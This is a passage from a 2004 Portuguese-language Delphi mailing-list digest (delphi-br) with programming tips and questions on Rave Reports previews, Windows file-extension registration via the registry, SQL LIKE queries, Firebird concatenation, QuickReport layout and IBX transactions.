ReportSystem.PreviewShowEvent(RvRenderPreview);
End;
Class Procedure TForm_Visualizacao.Most_Arquivo(Const
Vari_Arqu_Nome: String);
Begin
With TForm_Visualizacao.Create(Application) Do
Begin
Abri_Arquivo(Vari_Arqu_Nome);
Visible := true;
End;
End;
Terceira parte: Botões e eventos
Coloque sobre o Painel doze botões, dois edits (um edit para mostrar
a pagina atual e outro para mostrar o fator de zoom e seus
respectivos labels) e 1 label para mostrar o total de paginas do
relatório.
1. 1º edit
1.1.properties
1.1.1. nameEdit_Pagina
1.1.2. text1
1.2.Events
1.2.1. OnKeyDown
If Key = 13 then
begin
RvRenderPreview.RenderPage(StrToInt(Edit_Pagina.Text));
end;
2. 2º edit
2.1.properties
2.1.1. nameEdit_Zoom
2.1.2. text100
2.2.Events
2.2.1. OnKeyDown
If Key = 13 then
begin
RvRenderPreview.ZoomFactor := StrToFloat
(Edit_Zomm.Text);
end;
3.
Re: [delphi-br] Como associar um arquivo a um aplicativo.
Dica retirado do DTDelphi2.6
Inclua na seção uses: Registry
Problema:
Criei um editor de textos no Delphi. Agora gostaria que o Windows
Explorer usasse este editor para abrir arquivos com a extensão .dpg e
.dan. Como fazer?
Solução:
Para fazer isto será necessária a criação de algumas chaves no Registro
do Windows. O exemplo abaixo cria todas as chaves necessárias.
- Coloque um TButton e no evento OnClick dele coloque o código abaixo:
procedure TForm1.Button1Click(Sender: TObject);
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CLASSES_ROOT;
Reg.LazyWrite := false;
{ Define o nome interno (ArquivoDaniel) e uma legenda que
aparecerá no Windows Explorer (Arquivo do Daniel) }
Reg.OpenKey('ArquivoDaniel', true);
Reg.WriteString('', 'Arquivo do Daniel');
Reg.CloseKey;
{ Define o comando a ser executado quando abrir um arquivo
pelo Windows Explorer (NomeDoExe %1). O símbolo %1 indica
que o arquivo a ser aberto será passado como primeiro
parâmetro para o aplicativo - ParamStr(1). }
Reg.OpenKey('ArquivoDaniel\shell\open\command', true);
Reg.WriteString('', ParamStr(0) + ' %1'); { NomeDoExe %1 }
Reg.CloseKey;
{ Define o ícone a ser usado no Windows Explorer:
0 - primeiro ícone do EXE
1 - segundo ícone do EXE, etc }
Reg.OpenKey('ArquivoDaniel\DefaultIcon', true);
Reg.WriteString('', ParamStr(0) + ',0'); { 0 = primeiro
ícone }
Reg.CloseKey;
{ Define as extensões de arquivos que serão abertos pelo
meu aplicativo }
{ *.dpg }
Reg.OpenKey('.dpg', true);
Reg.WriteString('', 'ArquivoDaniel');
Reg.CloseKey;
{ *.dan }
Reg.OpenKey('.dan', true);
Reg.WriteString('', 'ArquivoDaniel');
Reg.CloseKey;
finally
Reg.Free;
end;
end;
- Coloque um TMemo;
- No evento OnShow do Form coloque o código abaixo:
procedure TForm1.FormShow(Sender: TObject);
begin
{ Se o primeiro parâmetro for um nome de arquivo
existente... }
if FileExists(ParamStr(1)) then
{ Carrega o conteúdo do arquivo no memo }
Memo1.Lines.LoadFromFile(ParamStr(1));
end;
*** Para testar ***
- Execute este programa;
- Clique no botão para criar as chaves no Registro do Windows;
- Feche o programa;
- Crie alguns arquivos com as extensões .dpg e .dan;
- Vá ao Windows Explorer e procure pelos arquivos criados;
- Experimente dar um duplo-clique sobre qualquer dos arquivos com uma
das extensões acima.
Observações
Existem outros recursos que poderão ser configurados. Porém, para
começar, este já é um bom exemplo.
:-)
[As partes desta mensagem que não continham texto foram removidas]
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Links do Yahoo! Grupos
* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html
[delphi-br] Usando comando Like
Pessoal, Tenho um campo em uma tabela que guarda o telefone de clientes. O telefone é um campo do tipo varchar2 e é guardado da seguinte forma: 254-6395, 254-2478, 455-4859... Como posso montar uma consulta para pesquisar todos os clientes que tem o telefone que comece com 254 ou com 455 ou qualquer outro prefixo que será passado como parâmetro para a consulta, mas se houver algum telefone que no final possua a mesma combinação que no prefixo passado, não pode ser exibido no resultado da query. Ou seja, exibir somente os telefones que comecem com 455. Se houver um cliente com telefone que seja = a 452-2455, ele deverá ser ignorado. SELECT * FROM CLIENTES WHERE FONE_CLIENTE LIKE Consigo fazer isso com o Like ou há outro comando melhor? Obrigada -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Usando comando Like
Oi ?, Tente da forma: WHERE (FONE_CLIENTE LIKE 254%) OR (FONE_CLIENTE LIKE 455) Nielsen On Thu, 30 Sep 2004 00:03:17 -, er83pet04 [EMAIL PROTECTED] wrote: Pessoal, Tenho um campo em uma tabela que guarda o telefone de clientes. O telefone é um campo do tipo varchar2 e é guardado da seguinte forma: 254-6395, 254-2478, 455-4859... Como posso montar uma consulta para pesquisar todos os clientes que tem o telefone que comece com 254 ou com 455 ou qualquer outro prefixo que será passado como parâmetro para a consulta, mas se houver algum telefone que no final possua a mesma combinação que no prefixo passado, não pode ser exibido no resultado da query. Ou seja, exibir somente os telefones que comecem com 455. Se houver um cliente com telefone que seja = a 452-2455, ele deverá ser ignorado. SELECT * FROM CLIENTES WHERE FONE_CLIENTE LIKE Consigo fazer isso com o Like ou há outro comando melhor? Obrigada -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Usando comando Like
Tudo que inicia com 455: SELECT * FROM CLIENTES WHERE FONE_CLIENTE LIKE '455%' Tudo que termina com 455: SELECT * FROM CLIENTES WHERE FONE_CLIENTE LIKE '%455' Tudo que contem 455: SELECT * FROM CLIENTES WHERE FONE_CLIENTE LIKE '%455%' Fernando At 21:03 29/09/2004, you wrote: Pessoal, Tenho um campo em uma tabela que guarda o telefone de clientes. O telefone é um campo do tipo varchar2 e é guardado da seguinte forma: 254-6395, 254-2478, 455-4859... Como posso montar uma consulta para pesquisar todos os clientes que tem o telefone que comece com 254 ou com 455 ou qualquer outro prefixo que será passado como parâmetro para a consulta, mas se houver algum telefone que no final possua a mesma combinação que no prefixo passado, não pode ser exibido no resultado da query. Ou seja, exibir somente os telefones que comecem com 455. Se houver um cliente com telefone que seja = a 452-2455, ele deverá ser ignorado. SELECT * FROM CLIENTES WHERE FONE_CLIENTE LIKE Consigo fazer isso com o Like ou há outro comando melhor? Obrigada -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Como concatenar 2 campos em um só em uma SQL
Se nao me engano, no FB a concatenacao e feita com o simbolo ||. SELECT Nome || Sobrenome AS NomeCompleto FROM Tabela Mas nao tenho certeza se funciona no select. Fernando At 10:56 28/09/2004, you wrote: Amigos, Como concatenar 2 campos em um só em uma SQL (Interbase/Firebird). No access faço assim: SELECT [campo1]+[campo2] AS [CampoConcatenado] FROM Tabela; desde já, agradeço. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Compactacao de .exe
Tente o StripReloc. Acho que e free, nao me lembro. Se nao me engano tem um link na pagina do Inno Setup. Fernando At 09:31 24/09/2004, you wrote: eu lí a aglgum tempo uma mensagen de um colega nosso de lista que falava sobre um compactador de executaveis. Eu tinha salvado a mensagem, mas eu sem querer exclui ela. Na época me interessou em fazer um comparativo, mas eu tava sem tempo. agora que estou com tempo, n?o tenho o nome do indivíduo. Se alguem souber de algum(sem ser o UPX) por favor, me da um toque(de preferência falando o tipo e licença). -- Daniel A. Bastos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] QUICK_REPORT
Bom dia
Estou enviando este email com o objetivo de ajudar quem por um acaso tiver o mesmo
problema levantado no ítem 2. O item 1 ainda nao resolvi, só descobrir que o Quick
Report 4 ja implementou no settings da impressora o controle do Collate
Vamos la
1- inseri uma banda datail onde atraves de um QRDBText associei o campo Cultivar
centralizando na banda (funcionando como um subt´titulo), como queria que cada
cultivar iniciasse eem uma novsa pagina coloquei na propriedade ForcrNewPage da band
detalhe TRUE.
Na mesma banda em uma area mais inferior coloquei tres QRLabel, na mesma linha, cujos
caption foram Locus, Alelo1, Alelo2
respectivamente
Mudei a propriedade desta banda HasChild como True. Assim criou-se uma banda Child
2- Na banda Child criada coloquei uma QRlabel, e dois QRDBText desta ordem em uma
posição alinhada verticalmente aos tres QRLabel colocados na banda anterior. Preenchi
o caption do QRLAbel com o nome do primeiro Locus e preenchi os QRDBText com os
DataSet e DataField correspondente a este locus
E agora no evento BeforePrint a seguinte
PrintBand := Table1.FieldByName('Alelo1').AsString '';
Mudei a propriedade desta banda HasChild como True. Assim criou-se uma banda Child
3- Nesta nova banda repeti os mesmos procedimento que no item 2 e assim fui repetindo
para cada locus
Observação: Para testar tem que compilar e executar o executavel pois fazendo o
preview direto do QuickReport nao elimina os campos vazios
1) Como faço para tratar a impressao se o usuario desmarcar a indicação de agrupar no
setup de impressao pois a impressao sai sempre agrupada
tentei por fora e dentro do if printDialog1.Execute
Printer.GetPrinter(Device, Driver, Port, hDevMode);
PrintMode := GlobalLock(hDevMode);
if PrintDialog1.Collate then
begin
PrintMode^.dmFields := PrintMode^.dmFields or DM_COLLATE;
PrintMode^.dmCollate := DMCOLLATE_TRUE;
end
else
begin
PrintMode^.dmFields := PrintMode^.dmFields or DM_COLLATE;
PrintMode^.dmCollate := DMCOLLATE_FALSE;
end;
GlobalUnLock(hDevMode);
2) A outra e´ como montar o relatorio.
Tenho uma tabela com a seguinte estrutura
Cultivar A1 A2 B1 B2 C1 C2
CV1- -12 14--
CV2 1617 -- 8 9
CV3 2121 14 166 5
sendo A locus A
B locus B
A1 alelo A1
A2 alelo A2
B1 alelo B1
B2 alelo B2
.
Eu gostaria que saisse desta forma
Cultivar CV1// título
Locus Alelo1 Alelo2
B 1214
ou seja para cada cultivar, em uma página separada, só se imprimiria os locus onde os
alelos estao presentes (com valores)
Eu tentei da seguinte maneira
Criei uma banda detalhe onde coloquei (na primeira linha para formar o titulo) um
QRLabel com caption Cultivar e um QRDBText com o DataField Cultivar. Na segunda
linha tres QRLabel com os caption Locus, Alelo1 e Alelo2. Como queria que cada
cultivar saisse em um nova página coloquei na propriedade ForcrNewPage da band detalhe
TRUE. Até aqui o relatorio estava como o previsto. Na hora de colocar os valores que
a corda roeu pois nao estou conseguindo fazer aparecer os dados.
Agradeço desde ja
[As partes desta mensagem que não continham texto foram removidas]
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Links do Yahoo! Grupos
* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html
Re: [delphi-br] Firebird, IBX e transações
Voce tem razao, tem a ver com o IBTransaction. O IB nao grava automaticamente os dados no banco. Voce deve dar um commit para confirmar as alteracoes da transacao, ou rollback para descarta-las. IBTransaction.Commit; ou IBTransaction.RollBack; Lembre-se de reiniciar a transacao depois. IBTransaction.StartTransaction; //eu acho Fernando At 12:05 29/09/2004, you wrote: Estou com seguinte problema quando acabo de inserir um registro em um BD Firebird rodando em rede os outros usuários só conseguem vê-lo se fechar o programa e voltar. Como faço para que um usuário enxergue os registros que acabaram de ser inseridos por outros usuários? Se que é algo relacionado com o componente IBTransaction mas como faria isso? Uso Firebird e componentes IBX -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
